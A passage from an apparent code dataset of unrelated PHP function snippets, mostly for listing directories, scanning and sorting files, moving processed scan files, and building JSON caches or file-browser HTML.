'extension_archivo'=>'css'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'javascript',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'javascript',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'javascript'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'php',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'php',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'php'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t);\n\t\t\t\tbreak;\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tcase 'javascript':\n\t\t\t\t\t$codigos =array('nombre'=>$array[$i],\n\t\t\t\t\t\t\t\t\t'tipos_archivos'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'javascript',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'javascript',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'javascript')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t);\n\t\t\t\tbreak;\t\t\n\t\t\t\t\n\t\t\t\tcase 'php':\n\t\t\t\t\t$codigos =array('nombre'=>$array[$i],\n\t\t\t\t\t\t\t\t\t'tipos_archivos'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'php',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'php',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'php'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t);\n\t\t\t\tbreak;\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tcase 'jquery':\n\t\t\t\t\t$codigos =array('nombre'=>$array[$i],\n\t\t\t\t\t\t\t\t\t'tipos_archivos'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre'=>'jquery',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'modo'=>'javascript',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'nombre_column'=>'colum_1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'extension_archivo'=>'jquery'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t);\n\t\t\t\tbreak;\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t}\n\n\t\t\tDB::table('categorias')->insert([\n\t\t\t'nombre' => $array[$i],\n\t\t\t'imagen' => \"img/\".$arrayimagenes[$i],\n\t\t\t'tipos_archivos'=>json_encode($codigos),\n\t\t\t'descripsion' => str_random(255)\n\t\t ]);\n\n\t\t}\n\n \n\n\t \n\t }", "function build_file_list($file_directory, $web_directory, $level = 0) {\n\t$handle=opendir($file_directory);\n\t// loop through the files in the directory generating a list of files \n\t$i=0;\n\twhile (false!==($file = readdir($handle))) { \n\t\t$extension = strrchr(strtolower($file),'.');\n\t\tif ($file != \".\" && $file != \"..\") {\n\t\t\tif (file_exists($file_directory.$file) && !is_file($file_directory.$file)) {\n\t\t\t\t$type = 'folder';\n\t\t\t} else {\n\t\t\t\t$type = 'file';\n\t\t\t}\n\t\t\t$padding = $level*22;\n\t\t\techo \"<tr>\";\n\t\t\tif ($type == 'folder') {\n\t\t\t\techo \"\t<td style=\\\"border-bottom: 1px solid #eeeeee;\\\" width=\\\"50\\\">&nbsp;</td>\";\n\t\t\t} else if ($extension == '.htm' || $extension == '.html' || $extension == '.php') {\n\t\t\t\techo \"\t<td style=\\\"border-bottom: 1px solid #eeeeee\\\" width=\\\"50\\\"><input type=\\\"radio\\\" value=\\\"$file_directory$file\\\" name=\\\"working_file\\\"></td>\";\n\t\t\t}\n\t\t\tif ($type == 'folder') {\n\t\t\t\techo \" <td style=\\\"border-bottom: 1px solid #eeeeee;\\\">\n\t\t\t\t\t<div style=\\\"margin-left:\".$padding.\"px; cursor: pointer: cursor: hand\\\"><img id=\\\"\".$level.\"_$i\\\" onclick=\\\"clickHandler(this)\\\" src=\\\"closed.gif\\\" width=\\\"16\\\" height=\\\"16\\\" align=\\\"absmiddle\\\" alt=\\\"\\\"><img src=\\\"\".WP_WEB_DIRECTORY.\"images/folder.gif\\\" width=\\\"22\\\" height=\\\"22\\\" align=\\\"absmiddle\\\" alt=\\\"\\\">$file</div>\n\t\t\t\t</td>\";\n\t\t\t} else {\n\t\t\t\techo \"\t<td style=\\\"border-bottom: 1px solid #eeeeee\\\">\n\t\t\t\t\t<div style=\\\"margin-left:\".($padding+16).\"px\\\"><img src=\\\"\".WP_WEB_DIRECTORY.\"images/htm_icon.gif\\\" width=\\\"22\\\" height=\\\"22\\\" align=\\\"absmiddle\\\" alt=\\\"\\\">$file</div>\n\t\t\t\t</td>\";\n\t\t\t}\n\t\t\techo \"\n\t\t\t</tr>\"; \n\t\t\tif ($type == 'folder') {\n\t\t\t\techo \"<tr id=\\\"d_\".$level.\"_$i\\\" style=\\\"display:none\\\"><td colspan=\\\"2\\\">\";\n\t\t\t\techo \"<table width=\\\"100%\\\" cellspacing=\\\"0\\\" cellpadding=\\\"0\\\">\";\n\t\t\t\tbuild_file_list($file_directory.$file.'/', $web_directory.$file.'/', $level + 1) ;\n\t\t\t\techo \"</table></td></tr>\";\n\t\t\t}\n\t\t\t$i ++;\n\t\t} \n\t} \n\tclosedir($handle); \n}", "static private function scan_dir( $dir ) {\n\t\t$ignored = array( '.', '..', '.svn', '.htaccess', 'test-log.log' );\n\n\t\t$files = array();\n\t\tforeach ( scandir( $dir ) as $file ) {\n\t\t\tif ( in_array( $file, $ignored ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$files[ $file ] = filemtime( $dir . '/' . $file );\n\t\t}\n\t\tarsort( $files );\n\t\t$files = array_keys( $files );\n\n\t\treturn ( $files ) ? $files : false;\n\t}", "static function namelist($dir, $ext=null, $stream=null) \n {\n $dir=rtrim($dir, '/\\\\').'/';\n $namelist=array();\n $handle = opendir($dir);\n if (!$handle) return $filename;\n while (false !== ($entry = readdir($handle))) {\n if ($entry[0]=='.' || $entry[0]=='_') continue;\n if ($entry=='teiheader' || $entry=='onix') continue;\n $file=$dir.$entry;\n if (is_file($file)) {\n if ($ext && $ext != pathinfo($file, PATHINFO_EXTENSION) ) continue; \n $name=pathinfo($file, PATHINFO_FILENAME);\n if (!isset($namelist[$name])) $namelist[$name] = array();\n else if ($stream) {\n fwrite($stream, \"Namelist: $name is not unique ($file)\\n\");\n }\n $namelist[$name][] = $file;\n }\n if (is_dir($file)) {\n $namelist=array_merge($namelist, self::namelist($file));\n }\n }\n return $namelist;\n }", "function getFileArray($reject=true, $today=null) {\n //rollover on May 1st, August 1st, and January 1st\n\t\tif(!$today) {\n\t\t\t$today = time();\n\t\t}\n $year = date(\"Y\", $today);\n $month = date(\"n\", $today);\n $day = date(\"j\", $today);\n $files = array();\n\t\t$prefix = \"cache/\";\n\t\t$semesters = array(\"SP\", \"SU\", \"FA\");\n //order is important here!\n if($month < 5) {\n $semester = 0;\n } elseif($month < 8) {\n $semester = 1;\n } else {\n $semester = 2;\n }\n\n\t\t//try to grab 2 semesters into the future, the current semester, and a year (3 semesters) into the past\n\t\t$numSem = count($semesters);\n\t\tfor($i = -2; $i <= 3; $i++) {\n\t\t\t$index = ($semester-$i)%$numSem;\n\t\t\twhile($index < 0) {\n\t\t\t\t$index += $numSem;\n\t\t\t}\n\t\t\t$sem = $semesters[$index];\n\t\t\tif($semester-$i >= $numSem) {\n\t\t\t\t$yr = $year + 1;\n\t\t\t} elseif($semester-$i < 0) {\n\t\t\t\t$yr = $year - 1;\n\t\t\t} else {\n\t\t\t\t$yr = $year;\n\t\t\t}\n\t\t\tif(!$reject || file_exists($prefix.$yr.$sem.\".txt\")) {\n $files[] = $yr.$sem;\n }\n\t\t}\n return $files;\n\t}", "function getfoldercontent($folder, &$dir_array, &$pic_array, &$expic_array)\r\n{\r\n global $xoopsModuleConfig;\r\n\r\n $dir = opendir(XOOPS_ROOT_PATH.\"/modules/xcgal/\".$xoopsModuleConfig['fullpath'].$folder);\r\n while($file = readdir($dir)){\r\n if(is_dir(XOOPS_ROOT_PATH.\"/modules/xcgal/\".$xoopsModuleConfig['fullpath'].$folder.$file)) {\r\n if ($file != \".\" && $file != \"..\")\r\n $dir_array[] = $file;\r\n }\r\n if(is_file(XOOPS_ROOT_PATH.\"/modules/xcgal/\".$xoopsModuleConfig['fullpath'].$folder.$file)) {\r\n if(strncmp($file, $xoopsModuleConfig['thumb_pfx'], strlen($xoopsModuleConfig['thumb_pfx'])) != 0\r\n && strncmp($file, $xoopsModuleConfig['normal_pfx'], strlen($xoopsModuleConfig['normal_pfx'])) != 0)\r\n $pic_array[] = $file;\r\n }\r\n }\r\n closedir($dir);\r\n\r\n natcasesort($dir_array);\r\n natcasesort($pic_array);\r\n}", "function build_blocks( $items, $folder )\r\n{\r\n\tglobal $ignore_file_list, $ignore_ext_list, $sort_by, $toggle_sub_folders, $ignore_empty_folders;\r\n\t\r\n\t$objects = array();\r\n\t$objects['directories'] = array();\r\n\t$objects['files'] = array();\r\n\t\r\n\tforeach($items as $c => $item)\r\n\t{\r\n\t\tif( $item == \"..\" OR $item == \".\") continue;\r\n\t\r\n\t\t// IGNORE FILE\r\n\t\tif(in_array($item, $ignore_file_list)) { continue; }\r\n\t\r\n\t\tif( $folder && $item )\r\n\t\t{\r\n\t\t\t$item = \"$folder/$item\";\r\n\t\t}\r\n\r\n\t\t$file_ext = ext($item);\r\n\t\t\r\n\t\t// IGNORE EXT\r\n\t\tif(in_array($file_ext, $ignore_ext_list)) { continue; }\r\n\t\t\r\n\t\t// DIRECTORIES\r\n\t\tif( is_dir($item) ) \r\n\t\t{\r\n\t\t\t$objects['directories'][] = $item; \r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n\t\t// FILE DATE\r\n\t\t$file_time = date(\"U\", filemtime($item));\r\n\t\t\r\n\t\t// FILES\r\n\t\tif( $item )\r\n\t\t{\r\n\t\t\t$objects['files'][$file_time . \"-\" . $item] = $item;\r\n\t\t}\r\n\t}\r\n\t\r\n\tforeach($objects['directories'] as $c => $file)\r\n\t{\r\n\t\t$sub_items = (array) scandir( $file );\r\n\t\t\r\n\t\tif( $ignore_empty_folders )\r\n\t\t{\r\n\t\t\t$has_sub_items = false;\r\n\t\t\tforeach( $sub_items as $sub_item )\r\n\t\t\t{\r\n\t\t\t\t$sub_fileExt = ext( $sub_item );\r\n\t\t\t\tif( $sub_item == \"..\" OR $sub_item == \".\") continue;\r\n\t\t\t\tif(in_array($sub_item, $ignore_file_list)) continue;\r\n\t\t\t\tif(in_array($sub_fileExt, $ignore_ext_list)) continue;\r\n\t\t\t\r\n\t\t\t\t$has_sub_items = true;\r\n\t\t\t\tbreak;\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif( $has_sub_items ) echo display_block( $file );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo display_block( $file );\r\n\t\t}\r\n\t\t\r\n\t\tif( $toggle_sub_folders )\r\n\t\t{\r\n\t\t\tif( $sub_items )\r\n\t\t\t{\r\n\t\t\t\techo \"<div class='sub' data-folder=\\\"$file\\\">\";\r\n\t\t\t\tbuild_blocks( $sub_items, $file );\r\n\t\t\t\techo \"</div>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\t// SORT BEFORE LOOP\r\n\tif( $sort_by == \"date_asc\" ) { ksort($objects['files']); }\r\n\telseif( $sort_by == \"date_desc\" ) { krsort($objects['files']); }\r\n\telseif( $sort_by == \"name_asc\" ) { natsort($objects['files']); }\r\n\telseif( $sort_by == \"name_desc\" ) { arsort($objects['files']); }\r\n\t\r\n\tforeach($objects['files'] as $t => $file)\r\n\t{\r\n\t\t$fileExt = ext($file);\r\n\t\tif(in_array($file, $ignore_file_list)) { continue; }\r\n\t\tif(in_array($fileExt, $ignore_ext_list)) { continue; }\r\n\t\techo display_block( $file );\r\n\t}\r\n}", "function load_tpch($dir) {\n\t\t$out = array();\n\t\t$out['stats'] = load_stats($dir);\n\t\t$out['queries'] = load_queries($dir);\n\t\treturn $out;\n\t}", "function scan_students()\n {\n $current_students = [];\n $di = new RecursiveDirectoryIterator('students/');\n foreach (new RecursiveIteratorIterator($di) as $filename => $file) {\n $path_info = pathinfo($filename);\n if($path_info['extension']=='json'){\n array_push($current_students,$path_info['filename']);\n }\n }\n // echo print_r($current_students);\n return $current_students;\n }", "function newsfiles() {\n\tglobal $news_items;\n\n\t$news_items = array();\n\t$handle = opendir(BASEDIR . 'files/en');\n\twhile (false !== ($file = readdir($handle))) {\n\t\tif (preg_match('^news_([0-9]{1,3})$', $file)) {\n\t\t\t$news_items[] = $file;\n\t\t}\n\t}\n\tclosedir($handle);\n\tusort($news_items, \"strnatcmp\");\n\t$news_items = array_reverse($news_items);\n/*\n\tfor ($i = 0; $i < count($news_items); $i++) {\n\t\techo '<!-- ' . $news_items[$i] . ' -->';\n\t}\n */\n}", "function processFiles($itemnumber, $aOCRData, $aDirectories, $sLogFile)\r\n{\r\n\t$aResults = array();\r\n\t$htmdirectory = $aDirectories['htm'];\r\n\t//$tifdirectory = $aDirectories['tif'];\r\n\t$ocrdonedirectory = $aDirectories['postocr'];\r\n\t$skippeddirectory = $aDirectories['skipped'];\r\n\t$readydirectory = $aDirectories['ready'];\r\n\r\n\t$tifdirectory = $ocrdonedirectory;\r\n\r\n\t//check if a directory for this itemnumber exists; if not, create it\r\n\t$itemdirectory = $readydirectory . '\\\\' . $itemnumber . '\\\\';\r\n\techo \"itemdir is $itemdirectory <br><br>\\n\";\r\n\r\n\tif (!(@opendir($itemdirectory))) {\r\n\t\ttry {\r\n\t\t\tmkdir($itemdirectory, 0755);\r\n\t\t}\r\n\t\tcatch (Exception $e) {\r\n\t\t\techo 'could not create a directory for this item ' . \"\\n\";\r\n\t\t\t$warning = 'Het systeem kon geen directory maken om de bestanden te plaatsen ' . \"\\n\";\r\n\t\t\t$lfh = fopen($sLogFile, 'a');\r\n\t\t\t$errorline = date(\"Y m d H:m\") . $warning;\r\n\t\t\tfwrite($lfh, $errorline);\r\n\t\t\tfclose($lfh);\r\n\r\n\t\t\t$aResults['error'] = $warning;\r\n\t\t\treturn $aResults;\r\n\t\t}\r\n\t}\r\n\r\n\t//for each page in the item: process htm and tif file\r\n\tforeach ($aOCRData as $sScannumber=>$bOcr) {\r\n\t\t$filenamebase = $itemnumber . sprintf(\"%04d\", $sScannumber);\r\n\r\n //process htm and tif file\r\n\t\tif ($bOcr == '1') {\r\n\t\t\t//update htm and write updated file to Ready\r\n\r\n $htmfile = $htmdirectory . '\\\\' . $filenamebase . '.htm';\r\n\t\t\t$contents = file_get_contents($htmfile);\r\n\t\t\t$markedup = '';\r\n \t\t$endhead = '/<\\/head>/i';\r\n \t\t$newmeta = '<meta name=\"bookid\" content=\"' . $itemnumber . '\">' . \"\\n\" . '</head>';\r\n \t\t$markedup = preg_replace($endhead, $newmeta, $contents);\r\n\r\n\t\t\t$newfile = $itemdirectory. sprintf(\"%04d\", $sScannumber) . '.htm';\r\n\t\t\t//echo 'updating text to ' . $newfile . \"\\n\";\r\n\t\t\t$updateresult = file_put_contents($newfile, $markedup);\r\n\t\t\t//some checking on result?\r\n\r\n\r\n\t\t\t//remove old htm file\r\n\t\t\t//drastic way of removing file, as simple unlink will not always work\r\n\t\t\twhile (is_file($htmfile) == TRUE) {\r\n\t\t\t\tchmod($htmfile, 0666);\r\n\t\t\t\tunlink($htmfile);\r\n\t\t\t}\r\n\r\n\t\t\t//move tif file to Ready\r\n\t\t\t$tiffile = $tifdirectory . '\\\\' . $filenamebase . '.tif';\r\n\t\t\t$destination = $itemdirectory . '\\\\' . $filenamebase . '.tif';\r\n\t\t\t//echo 'move ocred from ' . $tiffile . 'to ' . $destination . \"<br>\\n\";\r\n\t\t\t$result = @rename($tiffile, $destination);\r\n\t\t\t//check on result\r\n\t\t\tif ($result != 1) {\r\n\t\t\t\t$lfh = fopen($sLogFile, 'a');\r\n\t\t\t\t$errorline = date(\"Y m d H:m \") . \" kon niet schrijven naar $destination <br>\\n\";\r\n\t\t\t\tfwrite($lfh, $errorline);\r\n\t\t\t\tfclose($lfh);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse { //no htm, so just move tif file\r\n $tiffile = $skippeddirectory . '\\\\' . $filenamebase . '.tif';\r\n $destination = $itemdirectory . '\\\\' . $filenamebase . '.tif';\r\n $result = 'b';\r\n\r\n //make sure the tif file exists\r\n if (!(file_exists($tiffile))) {\r\n $aResults['message'] = 'Het boek is niet compleet ik mis ' . $filenamebase . '.tif';\r\n\t\t\t$aResults['result'] = '0';\r\n }\r\n else {\r\n\t\t\t$result = @rename($tiffile, $destination);\r\n\t\t\t//echo 'move from ' . $tiffile . ' to ' . $destination . ' - ' . $result . \"<br>\\n\";\r\n\r\n\t\t\t//check on result\r\n\t\t\tif ($result != 1) {\r\n $lfh = fopen($sLogFile, 'a');\r\n $errorline = date(\"Y m d H:m \") . \" kon niet schrijven naar $destination <br> \\n\";\r\n fwrite($lfh, $errorline);\r\n fclose($lfh);\r\n\t\t\t}\r\n }\r\n\t\t}\r\n\t}\r\n\r\n\treturn $aResults;\r\n}", "public function getIndexDirectoryPath();", "function findexts($filename) { \n$filename \t= strtolower($filename) ; \n$exts \t\t= split(\"[/\\\\.]\", $filename) ; \n$n \t\t\t= count($exts)-1; \n$exts \t\t= $exts[$n]; \nreturn $exts; \n}", "private function shift_array_file($array){\r\n $newArray = array();\r\n $count = 0 ;\r\n foreach($array as $elem){\r\n $newArray[$count] = $elem[\"IdeFile\"];\r\n $newArray[$count][\"isHasChild\"] = $this->isHasChild($newArray[$count][\"file_id\"]);\r\n $count++;\r\n }\r\n return $newArray;\r\n }", "function json_builder($directories)\n{\n global $totalcount;\n $output = [];\n $output[\"cameras\"] = camera_mapper($directories);\n $output[\"stats\"] = [\"videos\" => $totalcount, \"directories\" => count($directories), \"generated\" => time()];\n $output = json_encode($output, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);\n file_put_contents($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . \"cached.json\", $output);\n return $output;\n}", "function folderContent($path)\n\t\t{\n\t\t\t$myDirectory = opendir($path);\n\t\t\t\n\t\t\t$dirArray = array();\n\t\t\t\n\t\t\t// get each entry\n\t\t\twhile($entryName = readdir($myDirectory)) \n\t\t\t{\n\t\t\t\tif($entryName != '.' && $entryName != '..' && $entryName != '.svn')\n\t\t\t\t{\n\t\t\t\t\t$info = pathinfo($path.'/'.$entryName);\n\t\t\t\t\t$stat = stat($path.'/'.$entryName);\n\t\t\t\t\t\n\t\t\t\t\t$obj = array\n\t\t\t\t\t(\n\t\t\t\t\t\t'baseName'=>$info['basename'],\n\t\t\t\t\t\t'extension'=>$info['extension'],\n\t\t\t\t\t\t'fileName'=>$info['filename'],\n\t\t\t\t\t\t'atime' =>date('d-m-Y H:i:s',$stat['atime']),\n\t\t\t\t\t\t'mtime'=> date('d-m-Y H:i:s',$stat['mtime'])\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t\t\t\t$dirArray[$info['basename']] = $obj;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// close directory\n\t\t\tclosedir($myDirectory);\n\t\t\tsort($dirArray);\n\t\t\treturn $dirArray;\n\n\t\t}", "private function structureIterator($array){\n $data = array();\n foreach($array as $key => $value){\n if(is_array($value))\n $data[$this->slug($key)] = $this->structureIterator($value);\n else {\n if($this->isImage($value))\n $data['images'][] = $value;\n elseif($this->isJson($value))\n $data['info'] = $this->convertJson($value);\n else\n $data['files'][] = $value;\n }\n }\n $this->sortFiles($data);\n return $data;\n }", "protected function loadAllJoomlaFileIntoGiganticArray()\n\t{\n\t\treturn $this->loadFilesIntoArray(\n\t\t\tJFolder::files(JPATH_BASE, '.*\\.(php|xml)', true, true)\n\t\t);\n\t}", "private function _htmlFile() {\n\t\tif ($this->is_search) { //on search mode\n\t\t\n\t\t\tif (empty($this->founds)) {\n\t\t\t\treturn '<div class=\"cfind-div cfind-message\">No content found</div>';\n\t\t\t}\n\t\t\t\n\t\t\t$html = '';\n\t\t\t\n\t\t\t//first : folder items\n\t\t\tforeach ((array) $this->founds AS $key => $val) {\n\t\t\t\tif (g($val, 'type') != 'folder') continue;\n\t\t\t\t$html .= $this->_listFolder($val);\n\t\t\t}\n\t\t\t\n\t\t\t//second : file items\n\t\t\tforeach ((array) $this->founds AS $key => $val) {\n\t\t\t\tif (g($val, 'type') != 'file') continue;\n\t\t\t\t$html .= $this->_listFile($val);\n\t\t\t}\n\t\t\t\n\t\t\treturn $html;\n\t\t}\n\t\n\t\t$path = g($this->conf, 'path');\n\t\t\n\t\t$rpath = $this->_path($path);\n\t\tif (!file_exists($rpath) || !is_dir($rpath)) return '';\n\t\t\n\t\t$dir = $files = array();\n\t\t$hnd = opendir($rpath);\n\t\twhile ($read = readdir($hnd)) {\n\t\t\tif ($read == '.' || $read == '..') continue;\n\t\t\t\n\t\t\t$mypath = $this->_sanitize($path.'/'.$read);\n\t\t\tif (is_dir($this->_path($mypath)))\n\t\t\t\tarray_push($dir, ['name' => $read, 'time' => filemtime($rpath.'/'.$read)]);\n\t\t\telse {\n\t\t\t\tif (g($_GET, 'ext')) {\n\t\t\t\t\t$ext = explode(',',str_replace(' ', '', g($_GET, 'ext')));\n\t\t\t\t\n\t\t\t\t\tif (!in_array(strtolower(pathinfo($read, PATHINFO_EXTENSION)), $ext))\n\t\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tarray_push($files, ['name' => $read, 'time' => filemtime($rpath.'/'.$read)]);\n\t\t\t}\n\t\t\t\t\n\t\t}\n\t\t\n\t\tusort($files,function($a,$b) { return $b['time'] - $a['time']; });\n\t\t$files = array_column($files,'name');\n\t\t\n\t\tusort($dir,function($a,$b) { return $b['time'] - $a['time']; });\n\t\t$dir = array_column($dir,'name');\n\t\t\n\t\tclosedir($hnd);\n\t\t\n\t\t$html = '';\n\t\t\n\t\t//first : folder items\n\t\tforeach ((array) $dir AS $key => $val) {\n\t\t\t$html .= $this->_listFolder(['path' => $path, 'name' => $val]);\n\t\t}\n\t\t\n\t\t//second : file items\n\t\tforeach ((array) $files AS $key => $val) {\n\t\t\t$html .= $this->_listFile(['path' => $path, 'name' => $val]);\n\t\t}\n\t\t\n\t\tif (empty($html)) return '<div class=\"cfind-div cfind-message\">Folder is empty</div>';\n\t\t\t\n\t\treturn $html;\n\t}", "function get_subj_index($data_dir) {\n $filename = SUBJ_IDX_INDEX_NAME . '.idx';\n if (is_dir($data_dir)) {\n $index_file = $data_dir . '/' . $filename;\n } else {\n $index_file = SUBJ_IDX_DEFAULT_DIR . $filename;\n }\n // create if missing\n if ( ! is_file($index_file)) {\n fclose(fopen($index_file, 'w'));\n }\n return $index_file;\n}", "function build() {\n \n $gif = new GIFExtractor();\n $dir = $gif ->getDirectory();\n \n $last = null;\n $open = opendir($dir);\n while($item = readdir($open)){\n if($item == \".\" OR $item == \"..\") {\n continue;\n } \n \n $last = $item;\n }\n $file = file_load($last);\n \n $return = $gif ->toArray((array)$file);\n $this -> printLine('Files / ' . $last, \"<pre>\" .print_r($return, true) . \"</pre>\");\n \n // Delete those\n foreach($return as $file_item){\n unlink($file_item);\n }\n \n $this -> printLine('Recreate', $last);\n $return2 = $gif ->toArray((array)$file, true);\n \n $this -> printLine('New Created / ' . $last, \"<pre>\" .print_r($return2, true) . \"</pre>\");\n }", "function getFileAsArray($dir, $ext=array()) {\n\t\t$output = array();\n\t\tif ($handle = opendir($dir)) {\n\t\t\twhile (false !== ($file = readdir($handle))) {\n\t\t\t\tif (!is_dir($dir.\"/\".$file)) {\n\t\t\t\t\t$path_parts = pathinfo($dir.\"/\".$file);\n\t\t\t\t\tif (in_array($path_parts[\"extension\"],$ext) || count($ext) == 0) {\n\t\t\t\t\t\tarray_push($output, $file);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir($handle);\n\t\t}\n\t\treturn $output;\n\t}", "function list_files($path) {\n\tglobal $root_directory, $gmz_files, $gmz_directories, $extensions, $ignore_files, $ignore_ext, $ignore_folders;\n if ($handle = @opendir($path)) { \n while (false !== ($filename = readdir($handle))) { \n if ($filename != '.' && $filename != '..') {\n\t\t\t\t$file_path = substr($path.'/'.$filename, strlen($root_directory)+1, strlen($path.'/'.$filename));\n\t\t\t\t$file_folder = substr($file_path, 0, -(strlen($filename)+1));\n\t\t\t\tif(is_dir($path.'/'.$filename)) {\n\t\t\t\t\tif(!in_array($file_path, $ignore_folders)) {\n\t\t\t\t\t\t$gmz_directories[] = $file_path;\n\t\t\t\t\t}\n\t\t\t\t\tlist_files($path.'/'.$filename);\n\t\t\t\t} else {\n\t\t\t\t\tif (is_file($path.'/'.$filename)) {\n\t\t\t\t\t\t$file_ext = explode('.', $filename);\n\t\t\t\t\t\t$file_ext = $file_ext[sizeof($file_ext)-1];\n\t\t\t\t\t\t$file_ext = strtolower($file_ext);\n\t\t\t\t\t\tif(!in_array($file_ext, $ignore_ext) && !in_array($file_path, $ignore_files) && !in_array($file_folder, $ignore_folders)) {\n\t\t\t\t\t\t\t$gmz_files[] = array('name' => $filename, 'ext' => $file_ext, 'path' => $file_path, 'type' => $extensions[$file_ext][0], 'size' => sprintf(\"%u\", filesize($path.'/'.$filename)), 'date' => filemtime($path.'/'.$filename));\n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t}\n } \n } \n closedir($handle); \n } else {\n\t\tdisplay_error('Invalid Directory');\n\t}\n}", "function parseDir($dir) {\r\n global $zoom;\r\n // start the scan...(open the local dir)\r\n $images = array();\r\n $handle = $zoom->platform->opendir($dir);\r\n while (($file = $zoom->platform->readdir($handle)) != false) {\r\n if ($file != \".\" && $file != \"..\") {\r\n $tag = ereg_replace(\".*\\.([^\\.]*)$\", \"\\\\1\", $file);\r\n $tag = strtolower($tag);\r\n if ($zoom->acceptableFormat($tag)) {\r\n // Tack it onto images...\r\n $images[] = $file;\r\n }\r\n }\r\n }\r\n $zoom->platform->closedir($handle);\r\n return $images;\r\n }", "function cmd_directory($db, $params, $computer) {\n $result = $db->select('SELECT value FROM tbl_config WHERE key=\"ctime\" LIMIT 1');\n if (($row = reset($result)) !== false) {\n $ctime = unpack('L', $row['value'])[1];\n } else {\n $ctime = 0;\n }\n $result = $db->select('SELECT filename AS f, hash AS h FROM tbl_file');\n return ['result' => $result, 'ctime' => $ctime];\n }", "public function readCollectionOfPossibleTemplatesToBeInstalledFromFileSystem(){\n\t\t$rootTemplateFoldersToBeMapped = array();\n\t\t$rootTemplateFoldersToBeMapped = $this->searchFolderForTemplatesToBeMapped($this->absoluteRootTemplatesBasePath);\n\t\t//Get all Extension Templates below Root Folders\n\t\t$templateFoldersToBeMapped = array();\n\t\tforeach($rootTemplateFoldersToBeMapped as $rootTemplateFolder) {\n\t\t\t$extensionTempateFoldersToBeMappedFromThisRootTemplate = $this->searchFolderForTemplatesToBeMapped($this->absoluteRootTemplatesBasePath . $rootTemplateFolder . '/' . $this->subFolderNameForExtensionTemplateStructure . '/');\n\n\t\t\tforeach($extensionTempateFoldersToBeMappedFromThisRootTemplate as $extensionTempateFoldersToBeMappedFromThisRootTemplate) {\n\t\t\t\t$templateFoldersToBeMapped[] = $rootTemplateFolder . '/' . $this->subFolderNameForExtensionTemplateStructure . '/' . $extensionTempateFoldersToBeMappedFromThisRootTemplate;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//merge extension and root template folders\n\t\t$templateFoldersToBeMapped = array_merge(\n\t\t\t$rootTemplateFoldersToBeMapped, \n\t\t\t$templateFoldersToBeMapped\n\t\t);\n\t\t\n\t\treturn $templateFoldersToBeMapped;\n\t}", "private static function defaultFiles($dir){\n\n //gerando o model\n $model = \"<?php\\nnamespace modules\\\\\".strtolower(self::$pathName).\"\\\\model;\\n\\nclass \".self::$pathName.\"s implements \\\\libs\\\\database\\\\model\\n{\\n\\tpublic function create()\\n\\t{\\n\\t\\treturn array(\\n\\n);\\t\\n}\\n}\\n\";\n \\libs\\kernel\\File::newFile($dir.\"/model/\".self::$pathName.\"s.php\", $model);\n \n \n //gerando o controller\n 